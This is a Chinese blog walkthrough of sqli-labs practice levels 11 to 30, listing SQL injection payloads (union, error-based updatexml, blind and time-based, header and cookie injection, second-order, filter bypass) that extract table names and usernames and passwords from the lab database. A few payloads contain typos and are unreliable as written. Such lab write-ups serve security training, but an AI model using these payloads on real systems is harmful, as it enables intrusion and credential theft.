首页 > 数据库 >sqli-labs漏洞靶场~SQL注入(全网最全详解)

sqli-labs漏洞靶场~SQL注入(全网最全详解)

时间:2024-08-11 15:26:27浏览次数:8  
标签:name 0x7e labs sqli concat SQL table select schema

在这里插入图片描述

# sqli-labs靶场适合于初学sql注入的新手,它包含了许多的场景和模式为练习者提供良好的练习平台,以下这些语句搞懂我们做靶场就如鱼得水,非常自信的可以完成。
查询当前数据库版本:select version();
● 查询当前数据库:select database();
● 查询当前路径:select @@basedir;
● 查询当前数据库用户:select user();
● 查询当前MySQL路径:select @@datadir;
● 查询连接数据库的用户:select session_user();
● 查询服务器的系统版本:select @@Version_compile_os;
● 查询数据库:select schema_name from information_schema.schemata;
● 查询表名:select table_name from information_schema.tables where table_schema='库名' limit 0,1;
● 查询列名:select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1;

Less-11

闭合方式是1’ #

# 输入1' union select 1,2,来判断回显位置。
# 输入语句来爆数据库名和数据库的表名
-1' union 1,databse(),'group_concat(table_name) from information_schema.tables where table_schema='security' #

image-20240723181212573

# 爆数据库中的表的字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

image-20240723182508719

# 爆数据库中users中数据内容
-1' union select 1,group_concat(username,'-',password) from security.users #

image-20240723184910425

Less-12

闭合方式 ") #

和11关一样,只不过是闭合方式不一样

# 爆数据库名
-1) union select 1,database() #

image-20240723183234329

# 爆数据库中的表名
-1") union select 1,database() #

image-20240723183353294

# 爆数据库中users表的字段
-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

image-20240723185025088

# 爆数据库中users表中所有的内容
-1") union select 1,group_concat(username,'-',password) from security.users #

image-20240723184436284

Less-13

闭合方式’) #

报错注入

# 使用报错注入的方式来对数据库名进行爆库
admin') union select updatexml(1,concat(0x7e,(database()),0x7e),1) #

image-20240723192026231

# 对数据库中的表进行爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240723193556579

# 对users中的字段名爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

image-20240723193855709

# 把users表中的数据爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)#

image-20240723193943402

Less-14

闭合方式 " #

报错注入的方法,与13关一样,闭合方式不一样

# 对数据库名爆出
admin" and updatexml(1,concat(0x7e,(database()),0x7e),1) #

image-20240723194830522

# 把数据库中的表名爆出来
admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240723194706403

# 爆出users中的字段名
admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #

image-20240723194917832

# 爆出users中的所有数据
admin" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #

image-20240723194946863

Less-15

此题使用联合查询和报错注入都无法成功,所以只能用盲注和时间注入来解答此题。

# 对数据库爆库
admin' and if(ascii(substr(database(),1,1))>115#
# 对数据库中表名进行爆出
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #
# 爆出数据库中users表中的字段
admin' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 #
# 查询users表中所有的数据
admin' and ascii(substr((select password from security.users limit 0,1),1,1))>100 #

Less-16

此题和15关一样,使用的是盲注,闭合方式不一样

闭合方式")

image-20240728142532685

image-20240728142542244

# 判断数据库的长度
admin") and if(length(database())>8, 0, sleep(5))-- -
# 判断数据库的名
admin") and if(ascii(substr(database(),1,1))=115, 0, sleep(5))-- -
# 判断数据库的表名
admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>117, 0, sleep(5))-- -
# 判断表中的字段名
admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105, 0, sleep(5))-- -
# 判断表中的数据
admin") and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))-- -

Less-17

闭合方式为1’ #

使用报错注入,在new password中进行报错,因此在username中输入admin, new password中进行注入

# 对数据库进行爆库
1' and (updatexml(1,concat(0x7e, database(),0x7e),1)) #

image-20240724184125319

# 查询数据库中的表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240724184239178

# 查询users表中的字段
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

image-20240724184411026

# 对users中的数据进行爆出
-1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1) #

image-20240724185055508

Less-18

闭合方式 ’ #

此题是http头部注入,使用User-Agent注入

# 输入正确的用户和密码显示出UA头,错误的用户和密码会导致页面显示没有变化

image-20240725083324317

# 进行抓包,然后对UA头进行注入,来爆数据库的名称
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

image-20240725083942502

# 查询数据库的表名
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) #

image-20240725084158862

# 查询表里的字段名
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#

image-20240725084354877

# 查询数据库表中的内容
',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#

image-20240725084547815

Less-19

此题需要http头部注入,登录成功显示Referer报错注入

闭合方式是’

image-20240728141816579

image-20240728141848478

从中可以看出登录成功页面回显,失败则没有回显信息

因此我们使用referer进行报错

# 查询数据库名
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

image-20240728142103081

# 查询数据库的表名
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
# 查询数据库表中字段
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
# 查询数据库所有数据
',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#

Less-20

此题需要使用cookie来解答

# 当输入正确账户和密码时,页面显示的是cookie

image-20240725090531982

# 通过get抓包来获取数据的信息,输入cookie来注入爆数据库名
uname=-admin' union select 1,2,database()--+

image-20240725090830991

# 查询数据库中的表
uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

image-20240725091101116

# 查询数据表中的字段
uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

image-20240725091328351

# 查询数据库表里的内容
uname=-admin' union select 1,2,group_concat(username,'-',password) from security.users--+

image-20240725091628537

Less-21

闭合方式’)

此题需要将cookie的编码方式解码

然后再进行加密编码

然后再使用报错注入进行

# 爆出数据库名
') and updatexml(1,concat(0x7e,database(),0x7e),1)#

image-20240724192513640

# 爆出数据库中的表名
')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240724192926797

# 爆出users表中的字段
')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

image-20240724193111205

# 查询出users表中所有的数据
')and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #

image-20240724193323960

Less-22

闭合方式" #

和二十一关一样,只是闭合方式不一样

# 报错查询数据库
" and updatexml(1,concat(0x7e,database(),0x7e),1)#

image-20240724194109436

# 报错注入查询数据库下的表
" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240724194220200

# 查询表下的字段
" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

image-20240724194413649

# 查询数据库的内容
" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #

image-20240724194511948

Less-23

闭合方式 ’ or ‘1’='1

此关闭合会过滤符号,首先用or ’1‘=’1来进行闭合

然后再用联合查询

# 查数据库的名称
-1' union select 1,database(),3  or '1'='1

image-20240724194927743

# 查询数据库的表单
-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3  or '1'='1

image-20240724195037179

# 查询数据库中表字段
-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3  or '1'='1

image-20240724195214510

# 查询数据库中表的内容
-1' union select 1,(select group_concat(username,password)from users),3  or '1'='1

image-20240724195304802

Less-24

此题用了二次注入

# 注册一个用户名a 密码123456的用户

image-20240724205525235

# 注册一个a‘#的用户和密码
# 然后用错误的密码修改

image-20240724205950754

# 再次登录a 用刚才修改后的密码,发现登录成功

Less-25

闭合方式’ --+

首先使用联合注入,看到其回显位置

然后需要用双绕过来报错注入

# 联合注入,判断回显位置
-1' Union select 1,2,3 --+

image-20240724201601183

# 报错查询数据库
-1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) --+
-1' oorr updatexml(1,concat(0x7e,database(),0x7e),1)--+     //两句都可以注入

image-20240724202032616

# 查询数据库下的表
-1' aandnd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1) --+

image-20240724202708142

# 查询数据库表下的字段
-1' oorr updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrormation_schema.columns where table_name='users'),0x7e),1) --+

image-20240724203043402

# 查询数据库表下的内容 
-1' aandnd updatexml(1,concat(0x7e,(select group_concat(username,'-',passwoorrd) from security.users),0x7e),1) --+

image-20240724203333972

Less-25a

闭合方式 数字型的

使用联合查询判断回显位置

# 数字型 判断回显位置
-1  union select 1,2,3

image-20240724204207610

# 查询数据库
-1  union select 1,database(),3

image-20240724204312571

# 查询数据库中的表
?id=0 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

image-20240808184901280

# 查询表中字段名
?id=0 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users' --+

image-20240808185003483

# 查询表中数据
?id=0 union select 1,group_concat(0x7e,username,0x7e),group_concat(0x7e,passwoorrd,0x7e) from users --+

image-20240808185054041

Less-26

# 查询数据库名
?id=1'||(updatexml(1,concat(0x7e,(select(database()))),1))||'0

image-20240808185240082

# 查询数据库中的表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

image-20240808185322342

# 查询表中的字段名
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

image-20240808185404207

# 查询表中的数据
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(username,passwoorrd))from(users))),1))||'0

image-20240808185444531

Less-27

这一关过滤了select和union,可以通过大小写绕过和重写绕过

# 查询数据库名
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(database()))),1))or'0

image-20240808185644492

# 查询数据库中的表
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0

image-20240808185723812

# 查询表中的字段名
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0

image-20240808185811594

# 查询表中的数据
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0

image-20240808185852009

Less-28

该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写

# 查询数据库名
?id=0')uni union%0Aselecton%0Aselect%0A1,database(),2%0Aand ('1

image-20240808190017077

# 查询数据库中的表
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

image-20240808190100451

# 查询表中字段名
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

image-20240808190146495

# 查询表中的数据
?id=0')union%0aunion%0aselectselect%0a1,group_concat(username,password),3%0afrom%0ausers%0awhere%0a1=1%0aand('1')=('1

image-20240808190221193

Less-29

# 查询数据库名
?id=1&id=0' union select 1,2,database() --+

image-20240808190326639

# 查询数据库中的表
?id=0' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = database() --+ 

image-20240808190350414

# 查询表中的字段
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users" --+

image-20240808190440124

# 查询表中的数据
?id=0' union select 1,group_concat(username),group_concat(password) from users --+

image-20240808190515093

Less-30

# 查询数据库名
?id=0" union select 1,2,database() --+

image-20240808190616500

# 查询数据库中的表
?id=0" union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = database() --+ 

image-20240808190706877

# 查询表中的字段名
?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users" --+

image-20240808190751812

# 查询表中的数据
?id=0" union select 1,group_concat(username),group_concat(password) from users --+

image-20240808190823641

好小子,离成功又近一步!!!

标签:name,0x7e,labs,sqli,concat,SQL,table,select,schema
From: https://blog.csdn.net/weixin_67832625/article/details/141035734

相关文章

  • 轻松找回:如何在PostgreSQL 16中重置忘记的数据库密码
    目录1.引言2.PostgreSQL16的新特性简介3.解决方法概述4.方法一:通过修改`pg_hba.conf`文件重置密码5.方法二:通过命令行进入单用户模式6.方法三:使用pgAdmin工具重置密码7.总结与最佳实践写在以后1.引言你有没有过这样的经历?当你满怀期待地打开电脑准备工作时,......
  • 【SQL】参加测试的次数
    目录题目分析代码题目学生表: Students+---------------+---------+|ColumnName|Type|+---------------+---------+|student_id|int||student_name|varchar|+---------------+---------+在SQL中,主键为student_id(学生ID)。该表内的......
  • 240730-PostgreSQL的逻辑备份与物理备份
    PostgreSQL的逻辑备份与物理备份简介制定备份和恢复计划是每一个DBA最重要的工作之一,它决定了数据的有效性和完整性。也可以搭建跨越不同数据中心的流复制集群,能有效的帮助你避免单点故障。但是只有一份有效的备份能够帮助从delete或者drop的误操中恢复数据。制定备份和恢复计......
  • SQL转储
    PostgreSQL的备份和恢复-SQL转储与所有包含有价值数据的内容一样,应定期备份PostgreSQL数据库。虽然该过程本质上很简单,但清楚了解基础技术和假设非常重要。有三种从根本上不同的方法来备份PostgreSQL数据SQL转储文件系统级备份连续归档本文将重点介绍SQL转储使用的pg......
  • PostgreSQL的查询详解
    PostgreSQL的查询详解1.表表达式表表达式计算一个表。该表表达式包含一个FROM子句,该子句后面可以根据需要选用WHERE、GROUPBY和HAVING子句。最简单的表表达式只是引用磁盘上的一个表,一个所谓的基本表,但是我们可以用更复杂的表表达式以多种方法修改或组合基本表。表表达......
  • PostgreSQL的体系结构
    1.体系架构1、应用程序访问接口整个应用架构中,Postgresql数据库位于操作系统和应用程序之间,不同的编程语言使用不同的驱动程序链接到Postgresql数据库上,驱动分为两类:1.使用纯语言实现的Postgresql驱动,如JDBC、.NET等方式,这种链接方式不需要libpq库。2.通过包装Postgresql的......
  • PostgreSQL的数据类型
    PostgreSQL的数据类型1.布尔类型1.1布尔值对应表在Postgresql数据库中Boolean的值除了“true”(真)、“false”(假),还有一个“unknown”(未知)状态。如果是unknown时用NULL表示。布尔类型在Postgresql中可以用不带引号的TRUE或FALSE表示,也可以用更多表示真和假的带引号的字符表示:......
  • PostgreSQL的物理备份
    PostgreSQL的物理备份1.简单了解1.1pg_basebackup备份1.1.1简介pg_basebackup是从postgresql9.1版本开始提供的一个方便基础备份的工具。pg_basebackup用于对正在运行的PostgreSQL数据库集群进行基本备份。备份是在不影响数据库的其他客户端的情况下进行的,并且可以用于时......
  • PostgreSQL-连续归档和时间点恢复
    PostgreSQL-连续归档和时间点恢复(PITR)PostgreSQL始终在群集数据目录的pg_wal/子目录中维护一个预写日志(WAL)。该日志记录对数据库数据文件所做的每一项更改。此日志主要用于崩溃安全性:如果系统崩溃,可以通过“重放”自上次检查点以来所做的日志条目来将数据库恢复到一致性......
  • PostgreSQL的同步异步复制简介及互相转换
    PostgreSQL的同步/异步复制简介及互相转换一、介绍1.概念1.1.同步流复制同步流复制就是当主库发生变化,比如有一条DML语句产生了WAL日志后,通过后台进程传送到备库,备库必须要应用这个日志,然后向主库返回一个成功应用的信号,主库才可以成功的commit;否则主库会一直等待到备库成功......